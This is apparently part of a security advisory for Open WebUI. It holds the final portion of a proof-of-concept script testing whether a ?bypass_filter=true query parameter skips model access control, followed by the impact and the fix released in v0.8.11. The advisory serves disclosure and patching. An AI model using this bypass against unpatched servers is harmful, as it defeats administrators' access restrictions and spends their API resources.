Advisory

PYSEC-2026-2758

Details, part 2 of 2. The advisory

Details

print(f"[+] Ollama endpoint: bypass_filter accepted (status {r_bypass.status_code})")
ollama_bypassed = True
else:
print(f"[-] Ollama endpoint: bypass did not work")

# ── Results ──
if openai_bypassed or ollama_bypassed:
print(f"\n[+] SUCCESS: bypass_filter query parameter bypasses model access control!")
print(f" OpenAI endpoint (/openai/chat/completions): {'BYPASSED' if openai_bypassed else 'not bypassed'}")
print(f" Ollama endpoint (/ollama/api/chat): {'BYPASSED' if ollama_bypassed else 'not bypassed'}")
print(f"")
print(f" Any authenticated user can append ?bypass_filter=true to skip")
print(f" check_model_access() and use admin-restricted models via the")
print(f" server's own API keys.")
sys.exit(0)
else:
print(f"\n[-] FAILED: bypass_filter did not bypass access control on either endpoint")
sys.exit(1)

if __name__ == "__main__":
main()



### Impact

Any authenticated user (including those with the lowest "user" role) can invoke any model configured on the server, regardless of access control settings. This bypasses the admin's ability to restrict which models are available to which users — for example, limiting expensive models to specific teams or keeping certain models internal-only.


## Resolution

Fixed in commit [c0385f60b](https://github.com/open-webui/open-webui/commit/c0385f60ba049da48d2d5452068586d375303c37), first released in **v0.8.11** (Mar 2026) — one day after this report.

`bypass_filter` is no longer a function parameter on either route handler. Both `routers/openai.py` and `routers/ollama.py` now read it via `getattr(request.state, 'bypass_filter', False)`. Because `request.state` can only be populated by server-side code in the same process (typically `utils/chat.py` when recursing into a base model the caller is already authorized for), external HTTP clients cannot set it via query string, body, or any other transport-level mechanism. Appending `?bypass_filter=true` to the URL has no effect — the query parameter is now silently ignored by FastAPI since it doesn't bind to any handler argument.

Users on `>= 0.8.11` are not affected.

Sources & licences